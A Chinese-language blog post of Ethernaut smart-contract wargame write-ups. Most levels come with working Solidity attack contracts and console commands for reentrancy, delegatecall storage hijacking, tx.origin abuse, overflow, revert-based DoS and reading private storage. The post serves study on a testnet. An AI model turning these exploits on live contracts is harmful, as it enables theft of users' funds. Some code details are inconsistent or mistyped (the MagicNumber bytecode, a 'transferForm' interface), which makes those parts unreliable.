Web 3安全入门学习

date
Apr 6, 2023
slug
web3-security
status
Published
tags
Web 3 安全
summary
无聊,学习一下Web 3的知识
type
Post

基础知识

科尔霍夫原则:

  1. 一个名密码系统应当只有密钥是保密的,其余算法和一切参数都是公开的
  1. 并不一定要数学上完全不可破解,只要现实场景中不可破解即可
 

区块链中的密码学

每个钱包地址实际对应一对公私钥对
大概的流程:私钥→公钥→乱七八糟转换→地址
私钥是证明你拥有该账户的唯一方式,一旦私钥泄漏,该账户将被别人拥有,任何情况下不要复制私钥/助记词,注意保存
 
交易:每个交易就是一条mesage(这个message是hash算法生成的)
用你的身份发出一笔交易,即用私钥进行签名
不要签未知/不可信交易,可能导致财产损失
交易实际上是hash和签名算法共同运行
靠hash算法性质维护最长链条,防止攻击
 

Merkle Tree(默克尔树)

一种靠Hash来快速确认某个之是否在一个结合中的数据结构
常用语区块存储交易,发行白名单确认场景
pow共识机制
 

ethernaut靶场

这个主要是关于智能合约审计的内容,做下来还是了解到很多东西的
以太坊只是让区块链可以编程化而设计出来,里面交易主要涉及以太币,每次交易都会消耗一点gas,而且从这个靶场练习也可以了解到怎么跟合约进行交互

Hello Ethernaut

这个题目主要涉及到如何对该靶场进行交互,首先就是需要准备Web3钱包之类的东西,使用的MetaMask,注册一个钱包装钱,但是由于看了网上各种获取的测试币的方式已经失效,这里我在chainlist站点上找了两个还能连上的测试网络,直接在chainlist上点击添加就行
notion image
获取测试币的方式主要靠自己挖,这里给一个sepolia的挖矿地址,输入你自己的钱包地址,挖个10多分钟就有1个多ETH了,结束之后会自动转到你的钱包
后续就是交互的操作,可以通过remix ide进行交互,也可以通过浏览器的console端进行交互,这个题直接console交互就完成了,一般通过contract这个对象进行交互
notion image

Fallback

这题主要是继续熟悉相关的交互模式,学习了一下ide的交互方式,代码给了出来
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
这种没有引入其他库的代码,可以直接贴到remix ide里面,然后根据这个题目的地址attach上去,点击的At Address这个按钮,还需要注意的是环境要选Injected Provider,这样才能连接上测试网络
notion image
后续就可以在ide里面直接点击触发函数,包括输入参数,转账等等
改题目的意图就是要成为这个合约的owner,因为这个合约部署的时候就已经初始化了owner,所以这个题目需要寻找哪几个点owner被赋值的点,receive() 函数是一个关键,这里就涉及到这个函数的特性,可以从语言特性里面了解
触发这个函数之后还需要满足一个contributions[msg.sender] 的条件,这里先使用contribute() 函数触发,在ide里面交互,给这个函数发送点钱
notion image
然后再触发对合约发钱的函数,此时owner就是我们自己的钱包地址了,再次设置好value的值直接点击Transact就好,点击owner就能查看当前是自己钱包的地址了
notion image
漏洞点:
  • 了解函数以及全局变量的特性

Fallout

这个题主要是细节问题,构造函数明显就存在问题,仔细观察就会发现这里面一个字母变成了1,因此可以直接通过调用这个函数来获取该合约的owner,然后直接调用collectAllocations获取里面的钱
这次使用接口的方式进行交互,可以使用interface来定义一个抽象的接口,只包含我们需要调用的函数和属性,而不包含整个智能合约的源代码。这样可以减少网络带宽和时间的浪费,同时也可以让我们的交互代码更加简洁清晰,即使智能合约的源代码发生了变化,只要接口定义没有变化,我们就不需要更新交互代码,可以避免一些不必要的麻烦。
exp如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Fallout{
    
    function owner() external view returns (address);
    function Fal1out() external payable;
}
漏洞点:
  • 函数修改后能否被调用

CoinFlip

这个题目的是要连续调用其中的flip函数猜中结果10次,他的随机性主要是依赖blockhash(block.number - 1) 这个函数结果去进行处理的,由于链上的内容时刻都在改变来达到随机性的效果,但也是可以通过一定的时间间隔去伪造,一般来说10s左右会变一次
在exp中可以构造两个合约进行处理,一个触发,一个调试查看,触发效果的函数主要是复制了CoinFlip的部分内容
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack{
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    constructor(address _target){
        target = CoinFlip(_target);
    }

    function exp() external{
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    } 

}


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
这里面触发的函数在部署的时候需要先把对应合约的地址输入,让这个合约中Coinflip对象指向真正题目实例化的地址,这个初始化的方法也是语言的一种用法,可以跟其他合约进行交互
notion image
部署完之后整10次以上调用exp就行
漏洞点:
  • 随机数的问题,block生成的随机数不一定是真的随机

Telephone

这个题目主要是需要了解tx.origin 和 msg.sender两者属性的不同,最终获取该合约的owner
在某些情况下,使用 msg.sender可能会产生安全隐患。比如,如果在合约中调用了其他合约,而被调用的合约又通过 msg.sender来判断调用者的身份,那么攻击者就有可能利用合约调用的嵌套来欺骗合约。
所以这个题目构建了一个新合约来触发changeOwner 函数,部署完之后就触发
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract Hack{
    Telephone private immutable target;

    constructor(address _target){
        target = Telephone(_target);
        target.changeOwner(msg.sender);
    }

}


contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
漏洞点:
  • tx.origin 和 msg.sender 两者属性的概念问题,这东西也经常用在钓鱼上

Token

这个题目主要涉及到的是整数溢出的问题,比如定义整型一般是用uint8, uint256。一个变量如果定义为uint8表示的无符号的8位整型,即取值范围为0-255。当给这个变量赋值256时,即整型溢出变成了0,以此类推257变成了1。如果需要安全一点的操作的话则可以使用SafeMath库进行操作
这个题的合约版本是0.6.0,默认给了20个balances,默认是提高这个balances数,0.6.0版本的SafeMath还没用,而存在uint类型的非负整数,也就是说只能存储非负整数值,不能存储负数。
需要注意的是,在 Solidity 中,如果你对一个 uint类型的变量进行减法运算,且结果为负数,那么该操作不会抛出异常,而是会返回一个非常大的正数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


interface IToken {
  function transfer(address _to, uint _value) external returns (bool);
  function balanceOf(address _owner) external view returns (uint);
}

contract Hack{
    IToken private immutable target;

    constructor(address _target){
        target = IToken(_target);
        target.transfer(msg.sender,1);
    }
}
漏洞点:
  • 整数溢出问题
 

delegatecall

题目给了两个合约,而且很明显名字就是攻击点,要获取Delegate合约的owner,会观察到这个合约里面存在pwn函数将owner修改,我们需要做的就是触发这个函数,如何触发?
就需要利用另外一个合约Delegation,这个合约里面的fallback函数调用了delegatecall函数,这个函数可以用于调用其他合约里面的函数,而且是在同一个上下文基础上进行调用的,那么也就是说我们在Delegation合约内调用的Delegate合约里面的pwn函数,msg.sender本质上就是调用方,也就是我们自己,当然调用这个fallback函数我们只需要发点钱过去就行了。
但是这里还需要注意delegatecall传递的内容是一个id,这个id是通过调用函数的名字的前四个字节构建的,是通过sha3计算的:
web3.utils.sha3("pwn()").slice(0,10)
notion image
直接console进行交互就行,ide没试出来不知道咋回事,一直说没有fallback函数,估计题目初始化的Delegate合约
contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})
漏洞点:
  • delegatecall函数的特性
 

Force

这个题啥都没给,让这个合约金额超过0,考点就是selfdestruct 函数的特性
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
构造exp,注意函数的属性或者是参数属性需要是payable的,这样才能发钱给该合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract Hack{

    constructor(address payable _target) payable{ //参数payable是为了改地址可以给钱,构造函数payable是为了初始化的时候可以给这个合约点钱
        selfdestruct(_target);
    }
}
notion image
 
漏洞点:
  • selfdestruct 函数的特性
    • 该函数只能由当前合约自己调用,并且一旦调用成功,当前合约将被永久性销毁,无法再次访问其数据和代码。
 

Vault

这个题目想要解开锁,明显就需要调用unlock函数,这个函数里面需要满足一个条件,password要一致,但是password不知道还是private属性的,那么肯定是有一定的绕过技巧
在区块里面数据是透明的,私有变量标记只能阻止其他合约访问它。标记为私有变量或局部变量的状态变量,仍然可被公开访问到,可以使用getStorageAt函数查看,第一个参数是合约地址,第二个参数是参数的位置,参数的位置是按照声明的顺序来排的,这里的 locked 是第一个所以是 0,password 是第二个,位置就是 1,这个函数需要在console中调用
web3.eth.getStorageAt(contract.address, 1)
notion image
然后再合约里发送过去就解锁了
notion image
当然也可以在console梭哈,就是利用了getStorageAt第三个参数是一个回调函数输出密码
web3.eth.getStorageAt(contract.address, 1, function(x, y){console.info(web3.toAscii(y))})
await contract.unlock("A very strong secret password :)")
漏洞点:
  • 部分属性的可见性还是可以查看的

King

获得本题的king权限并一直保持,关注点在于receive函数,里面有一个条件给的value必须要比之前的value大或者是本身是这个合约owner才能修改king的权限
这里面初始化value的值为1000000000000000 wei,也就是0.001eth,owner权限没有修改的地方,那么只能从value下手,直接给它发过去就好了,但是后续需要保持king的权限,因为被别人夺去king权限会返还给上一任king金额数,这是在submit的时候触发的。因此这个题目打算回收我们的“王权”时,它运行到king.transfer(msg.value);这一行时,由于此时king就是我们合约的地址,则会执行我们的fallback函数,而我们合约的fallback函数会执行revert,因此它会卡在这个状态无法执行,也就是会抛出异常,跟据transfer函数的特性,会终止执行,从而导致无法取回王权。
这个漏洞在实际合约中被用revert来执行DDos(其实使用throw语句抛出个异常代替也行),让程序卡在某个状态无法运行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack{
    constructor(address payable target) payable{
        uint prize = King(target).prize();
        // target.call.gas(1000000).value(prize)("");
        target.call{value:prize+1}("");

    }

    fallback() external payable{
        revert(); //or throw;
    }

}


contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
部署Hack合约之后,可以发现King的地址已经变成了Hack合约的地址了(别搞混了,这里是Hack合约调用的,不是msg.sender)
notion image
 
也有其他的利用手法,用的是消耗gas的手段去触发异常
直接不写fallback函数其实也是可以的,因为在solidity中如果fallback函数不存在,则会抛出异常并拒绝交易,也是可以达成效果。
漏洞点:
  • transfer,call以及send用法的区别
    • 从区别中可以看出使用transfer的时候如果抛出异常会终止执行,其他函数会继续执行下去
  • 异常导致的Dos问题
 
 

Re-entrancy

Sometimes the best way to attack a contract is with another contract.
这个攻击就是以太坊里面著名的重入攻击,关键的漏洞点在于提现函数的问题,这个提取流程并没有在整个函数上进行限制,而且是先进行了转账的操作,然后再对用户的金额进行更新
function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
这个攻击首先还需要了解关于以太坊转钱所涉及到的一些函数内容:
notion image
transfer和send这两函数对于转账的操作,是存在gas的限制的。而对于call就没有这个限制
这一点是导致这个攻击手法其中一个原因,而整个攻击流程非常像函数递归的一个操作,整个exp如下,修改的exp来源于:Re-Entrancy | Solidity by Example | 0.8.17 (solidity-by-example.org)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


interface IReentrance {
    function donate(address) external payable;
    function withdraw(uint) external ;
}



contract Hack {
    // Reentrance public reentrance;
    // address  _reentranceAddress = 0xde297E8Ba68B8C6ECFCDDD6983db3d07898Df26a;
    IReentrance immutable private target;

    constructor(address _target) {
        target = IReentrance(_target);
    }

    // Fallback is called when EtherStore sends Ether to this contract. //receive 函数也是可以的
    fallback() external payable {
        uint amount = min(1e18, address(target).balance);
        if (amount > 0){
            target.withdraw(amount);
        }
        require(address(target).balance == 0, "attack success");
        selfdestruct(payable(msg.sender));

    }


    function min(uint x , uint y )private pure returns(uint){
            return x <= y ? x : y;
    }

    function attack() external payable { 
        // require(msg.value >= 1 ether);
        target.donate{value: 1 ether}(address(this));
        target.withdraw(1 ether);
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }


    function withdraw() public{
        (bool result,) = msg.sender.call{value:getBalance()}("");
    }

}
注意Attack合约里面的内容,一个是fallback函数,一个是attack函数,attack函数触发的时候,会往reentrancy合约里面整点钱,然后开始提现,提现到Attack合约里,又触发了Attack合约里面的fallback函数,进行reentrancy合约进一步的提现操作,此时reentrancy的withdraw函数里面balances[msg.sender] 状态值并没有被修改,又继续执行call函数,此时就像是一个递归的过程,不停重复,直到在Attack合约里面的判断条件address(reentrance).balance >= 1 ether 不符合就开始返回堆栈里面的内容,后面才会更新状态,因此官方对于这种方式的攻击提供了一种比较方便的防御手段,使用的修饰器对withdraw函数进行修饰
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
漏洞点:
  • call函数调用没有对该函数进行防护,导致重入攻击
 
 

Elevator

这个题目要求让top变量变为true,而且题目给出了一个接口,一开始是懵逼的,后来搜了一轮才发现它是想让我们利用interface的特性,自己构造一个Building类,刚好在合约Elevator上存在Building(msg.sender); 这样的代码
因此这个就相当于可以伪造Building合约里面的函数内容了,构造了一个BuildingExploit合约,触发Elevator的goTo函数时实际上就是指向我们伪造的合约,内容如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
contract BuildingExploit is Building{
    Elevator private immutable target;
    bool private last = true;
    constructor(address _target){
        target = Elevator(_target);
    }

    function isLastFloor(uint t) external returns (bool){
        last = !last;
        return last;
    }

    function exp() external{
       target.goTo(1);
    }

}
⚠️ msg.sender指向谁非常值得思考,根据代码的上下文可以构建出另外一个合同进行攻击
如何防御:可以在接口上使用view函数修饰符,以防止状态修改。pure修饰符也可以防止函数修改状态。
漏洞点:
  • 未实现接口的伪造问题(初始化以msg.sender初始化)
 

Privacy

同样这个题目想解锁,具体考点跟之前通过getStorageAt获取私有属性变量一样,但是这一题更加深入化了解这个知识点,考察的还是以太坊合约中状态变量的内存分布,根据合约变量存储原则,evm每一次处理32个字节,而不足32字节的变量相互共享并补齐32字节
如果确实下一个变量内容足够的话,则抛弃前一个变量,单独占32字节,可以参考这篇文章里面的图:
这个题目的内存分布就是这样:静态数组,数组元素也是跟在前面的元素后面直接排列的
=============================================
        unused          | locked                
-----------------------------------------------------------------        slot 0
       31 bytes         | 1 byte 
=============================================
    ID
-----------------------------------------------------------------        slot 1
                32 bytes
=============================================
unused  |awkwardness|denomination|flattening|
-----------------------------------------------------------------     slot 2
28 bytes|2 bytes    | 1 byte     | 1 byte
=============================================
data[0]
-----------------------------------------------------------------        slot 3
32 bytes
=============================================
data[1]
-----------------------------------------------------------------        slot 4
32 bytes
=============================================
data[2]
-----------------------------------------------------------------        slot 5
32 bytes
=============================================
如果定义是bytes32[] private data,也就是定义成一个动态数组的话,那么内存模型是这样的,多了个长度的位置,然后具体的内容以hash链的方式保存
=============================================
        unused          | locked                
-----------------------------------------------------------------       slot 0
       31 bytes         | 1 byte 
=============================================
    ID
-----------------------------------------------------------------      slot 1
32 bytes
=============================================
unused  |awkwardness|denomination|flattening
-----------------------------------------------------------------    slot 2
28 bytes|2 bytes          | 1 byte          | 1 byte
=============================================
data.length
-----------------------------------------------------------------     slot 3
32 bytes
=============================================

......

=============================================
data[0]
-----------------------------------------------------------------     slot keccak256(3)
32 bytes
=============================================
data[1]
-----------------------------------------------------------------       slot keccak256(3)+1
32 bytes
=============================================
data[2]
-----------------------------------------------------------------      slot keccak256(3)+2
32 bytes
=============================================
因此这个题目要对比data[2] 里面的内容,位置就在5上,通过web3.js去获取相关内容
web3.eth.getStorageAt(contract.address, 5)
又因为函数在检验的时候使用bytes16进行了类型转换,导致只使用了前16个字节所以就获取前6个字节进行处理
data.slice(0,34)
//0xf36f00d4c041015bef86d0dafc1eab77
直接交互就完成了解锁了(记得带上0x前缀)
漏洞点:
  • EVM处理内存数据的方式,如何获取
 

Gatekeeper One

这个题目设置了三重修饰器每一个修饰器都有不同的限制,最终是需要触发到enter这个函数
第一个限制,需要这两变量不一样,那么就是需要第三方合约进行攻击
modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
第二个限制则是通过查看gas的剩余内容是否是8191的倍数,那就要提前判断本合约需要使用的gas,这是这个题目的一个难点
modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }
第三个修饰器则是涉及到智能合约变量的一些截断问题
modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }
这里参考的是别人的题解,挺有意思的问题
notion image
一开始想跟一跟别人的想法debug出来,却发现不能debug,原因好像是要通过debug方式获得题目对应消耗的gas的话,必须跟题目使用相同的编译器版本和对应的优化选项,然而并不知道题目版本。。。
用了个爆破的脚本,因为在一定范围内gas值应该是总会触碰到的
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperOne {
    function entrant() external returns (address);
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attack {
    GatekeeperOne gatekeeperOne;
    address target;
    address entrant;

    event log(bool);
    event logaddr(address);

    constructor(address _addr) public {
        // 设置为题目地址
        target = _addr;
    }

    function exploit() public {
        // 后四位是metamask上账户地址的低2个字节
        bytes8 key=0xAAAAAAAA0000e5a2; //0x84666F53dBD297B3300b5301A4F210d23eeFe5a2
        bool result;
        for (uint256 i = 0; i < 120; i++) {
            (bool result, bytes memory data) = address(
                target
            ).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
            if (result) {
                break;
            }
        }
        emit log(uint32(uint64(key)) == uint16(uint64(key)));
        emit log(uint32(uint64(key)) != uint64(key));
        emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
        emit log(result);
    }

    function getentrant() public {
        gatekeeperOne = GatekeeperOne(target);
        entrant = gatekeeperOne.entrant();
        emit logaddr(entrant);
    }
}
又学习到了call方法的一些特性,除了使用call函数进行转账操作,还可以通过该函数对其他合约的的函数进行调用,可接受一个参数 bytes类型的数据,包含要调用的函数的签名和参数,因此上面的poc就涉及到了abi.encodeWithSignature 这一函数,用于将函数名和参数编码成字节码(也就是bytes类型),在Solidity中,abi.encodeWithSignature常常与call函数一起使用,用于在不同的合约之间进行交互。
学习了合约语言的一些特性:
  • 变量截断的问题
 

Gatekeeper Two

同样有三个修饰器限制,只是第二个和第三个不一样了,第一个限制同样可以使用第三方合约进行绕过,第二个修饰器则是涉及到了汇编
modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }
其中caller()函数返回call sender,也就是call的发起者,而extcodesize则是返回对应地址的合约代码的大小(size),如果extcodesize的参数是用户地址则会返回0,是合约地址则返回了调用合约的代码大小。
关于这点,需要使用一个特性绕过:当合约正在执行构造函数constructor并部署时,其extcodesize为0。换句话说,如果我们在constructor中调用这个函数的话,那么extcodesize(caller())返回0,因此可以绕过检查。
第三个限制器则是通过抑或计算计算出相关的内容,此时调用合约的msg.sender是我们的攻击合约,因此攻击合约上使用的是address(this)
modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }
编写的exp:
contract Hack{
    GatekeeperTwo immutable private target;
    bytes8 key;

    constructor(address _target){
        target = GatekeeperTwo(_target);
        key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        target.enter(key);
    } 
}
 

Naught Coin

这个题目给了代币合约,让我们将里面的币转移到其他合约,但是作为player需要绕过其中的限制条件,就是必须要超过10年才可以开启转币的操作
uint public timeLock = block.timestamp + 10 * 365 days;
...
modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  }
但是这个题目想考察的点在于,这个标准的代币,除了这一个转账函数之外还存在另外一个转账函数,这个函数并没有进行限制,但是需要调用的话,需要进行证明approve
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
这个题目可以直接使用控制台就能完成,触发证明然后转账就行
//secondaddr是另外一个账户地址,随便用的一个已经部署的合约地址
secondaddr='0x134B8da867E3895076967d85e248412D3fcEAd52'
totalvalue='1000000000000000000000000'
//给自己授权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)
也可编写合约来攻击一下,解释一下下面的代码,这里对于其他合约的内容都选择使用接口进行实例化,在部署完Hack合约之后,需要调用IERC20的approve函数(直接用的instace地址初始化attach上接口)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface INaughtCoin{
    function player() external view returns(address);
}


interface IERC20{
    function balanceOf(address account) external view returns(uint);
    function approve(address spender, uint amount) external returns(bool);
    function transferForm(address from , address to, uint amount) external returns(bool);
}


contract Hack{
    //1.deploy
    //2.coin.approve
    //3.attack
    function attack(IERC20 coin) external{
  address player = INaughtCoin(address(coin)).player();
        uint256 bal = coin.balanceOf(player);
        coin.transferFrom(player, address(this), bal);
    }
}
同时能查看player的具体币值
notion image
然后就是调用他的approve函数,把player地址和金额都放上去
notion image
最后触发attack函数,给的instance的地址
notion image
发现有时候使用合约进行攻击就是不成功,就是会直接交易失败,触发的时候总是问你是不是要force发送出去,不force完之后肯定失败。。。。
 
注意点:
  • 当该合约继承了某合约,可以往上去观察其接口是否可以利用
  • 转账的函数不一定只有一个,也有可能有多个,这会导致防护遗漏出现问题
 
 

Preservation

这个题目需要获取Preservation这个合约的owner权限,但是整个合约里面只有构造函数才有对owner赋值的操作,显然这里面需要其他方法,在该合约里面,还有另外两个函数,分别是调用另外一个合约的setTime函数的操作,这里面又涉及到了delegatecall 这个函数的操作,该函数是可以在原合约的上下文基础上调用另外一个合约
这就意味着在另一个合约LibraryContract里面,执行setTime函数的时候更新 storedTime状态变量时,不是在更新自己的合约的变量,而是在调用者合约的slot0的变量,即timeZone1Library 地址变量
===================================================
    unused       |                timeZone1Library
---------------------------------------------------         slot 0
    12 bytes     |                20 bytes
===================================================
    unused       |                timeZone2Library
---------------------------------------------------         slot 1
    12 bytes     |                20 bytes
===================================================
    unused       |                owner
---------------------------------------------------         slot 2
    12 bytes     |                20 bytes
===================================================
                storedTime
---------------------------------------------------         slot 3
                32 bytes
===================================================
对于LibraryContract合约,他的内存结构是这样的
===================================================
                storedTime
---------------------------------------------------         slot 0
                32 bytes
===================================================
setSecondTime函数被执行时,同样的事情发生了,它将更新Preservation合约的slot0中的变量
现在的问题在于如何更改Preservation里面slot 2的值,可以分成三步走:
  1. 先构建第三方合约,变量布局和Preservation 一样(注意函数setTime名字参数必须一样,因为合约里面写清固定了调用的字节码)
  1. 通过attack函数触发两次Preservation 的setFirstTime函数,第一次让timeZone1Library指向地址指向Hack合约,第二次则是执行Hack合约中的setTime函数,修改owner变量的内容为我们的钱包地址
    1. contract Hack{
          address public timeZone1Library;
          address public timeZone2Library;
          address public owner; 
      
          function attack(Preservation target) external{
              target.setFirstTime(uint256(uint160(address(this))));
              target.setFirstTime(uint256(uint160(msg.sender)));
              require(msg.sender == target.owner(),"attack fail"); //后面的提示是失败后才会触发的
          }
      
          function setTime(uint _owner) external {
                  owner = address(uint160(_owner));
          }
      
      
      }
知识点:
  • 利用delegatecall 串联第三方相同结构合约达到攻击效果
 

Recovery

这个题创建者利用Recovery合约创建了一个SimpleToken合约,题目目的是让我们找到失去的合约地址
在这个题目里了解到https://xxxx.etherscan.io/ 的用法,在这个网址上进行创建的Recovery合约对应的地址搜索一下,查看该合约的Internal Txns,可以发现有三条记录,其中最近一条,就是创建的SimpleToken合约的操作,点进去Contract Creation
notion image
然后就能够找到忘记的SimpleToken的合约地址了
notion image
但是这个题目考点是考察合约地址可计算,前提是通过这个合约产生的另外一个新的合约地址,通过keccack256(address, nonce) 计算,address就是最上层合约的合约地址,nonce则是创建的第几个合约数
参考这篇文章:
可以观察到计算如下
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x01))))));
构造对应的代码,可以不在当前测试网络上进行运算,随便找一个网络跑这代码也行,也能计算出一样的地址
notion image
最后通过selfdestruct函数的特性,将剩余的钱转到钱包地址上,然后对应的SimpleToken 创建的合约销毁
notion image
 

MagicNumber

这个题目是关于EVM的,题目的意思就是部署一个合约 Solver ,要求在被调用 whatIsTheMeaningOfLife() 函数时返回 42 就可以了,但有一个限制是不能超过 10 个 opcode
若果直接新建一个合约里面包含whatIsTheMeaningOfLife 这个函数的话是肯定会超过10个opcodes的
首先需要了解EVM创建合约的一个过程:
1、首先,用户或合约将交易发送到以太网网络。此交易包含数据,但没有 to 地址,表明这是一个合约创建,而不是一个 send/call transaction
2、其次,EVM 将 Solidity(高级语言)的合约代码编译为 bytecode(底层的机器语言),该 bytecode 直接转换为 opcodes ,在单个调用堆栈中运行
⚠️ 需要注意的是:contract creation 的 bytecode 包含两部分:initialization code 和 runtime code
3、在 contract creation 期间,EVM 仅执行 initialization code 直到到达堆栈中的第一条 STOP 或 RETURN 指令,在此阶段,合约的 constructor() 会被运行,合约便有地址了
在运行 initialization code 后,只有 runtime code 在堆栈上,然后将这些 opcode 拷贝 到 memory 并返回到 EVM
4、最后,EVM 将 runtime code 返回的 opcode 存储在 state storage ,并与新的合约地址相关联,在将来对新合约的调用时,这些 runtime code 将被执行
整个过程如下图所示:
notion image
这个题目完成需要构造两段opcode内容才可以完成,先是创建一段返回42的opcode,这一段内容是在runtime codes中的
偏移    指令对应字节               实际汇编指令
0000    60                 PUSH1 0x2a
0002    60                 PUSH1 0x50
0004    52                 mstore
0007    60                 PUSH1 0x20
0009    60                 PUSH1 0x50
000B    F3                 RETURN
通过使用mstore命令将42(0x2a)存储在内存地址0x50中,然后通过return命令返回从内存0x50开始的长度为32字节(0x20)的内容,这样一来字节码为0x602060505260206050F3 刚好10 opcodes
再来构建initialization codes,需要先将 runtime codes拷贝到内存,然后再将其返回到 EVM ,将代码从一个地方复制到另一个地方是 codecopy(t, f, s)操作码。t是代码的目标位置,f是 runtime codes的当前位置,s是代码的大小,以字节为单位,对于 602a60805260206080f3就是 10 bytes
偏移    指令对应字节   实际汇编指令
0000    60            PUSH1 0x0a
0002    60            PUSH1 0x0c
0004    60            PUSH1 0x00
0006    39            CODECOPY
0007    60            PUSH1 0x0a
0009    60            PUSH1 0x00
000B    F3            RETURN
第一步PUSH1 0x0a对应的是length变量,因为我们上面构造的opcode序列长度为10。第二步PUSH1 0x0c是因为,初始化代码的长度为0xB,也就是运行时代码的字节码是从0xc偏移开始的,因此offset为0xc。第三步PUSH1 0是指定将我们的代码复制到memory的slot 0处。前4条指令,完成了将0xC到0x16这10个字节复制到memory的0x00到0xA位置处的任务
这里就可以解释,为什么上面我们我们需要把0x2a复制到一个比较大的offset 0x50上,因为低位被我们用来存储运行时代码对应的字节了,当然如果你把运行时代码放到高位,0x2a放到低位也可以。后3条指令,就是return memory[0:0xa] ,也就是返回到我们刚才复制到memory中的运行时指令处,下面接第1部分我们写的代码即可运行。
所以将这两块合并起来就是这整个题目的字节码
偏移    指令对应字节   实际汇编指令
0000    60            PUSH1 0x0a
0002    60            PUSH1 0x0c
0004    60            PUSH1 0x00
0006    39            CODECOPY
0007    60            PUSH1 0x0a
0009    60            PUSH1 0x00
000B    F3            RETURN
000C    60            PUSH1 0x2a
000E    60            PUSH1 0x50
0010    52            MSTORE
0011    60            PUSH1 0x20
0013    60            PUSH1 0x50
0015    F3            RETURN
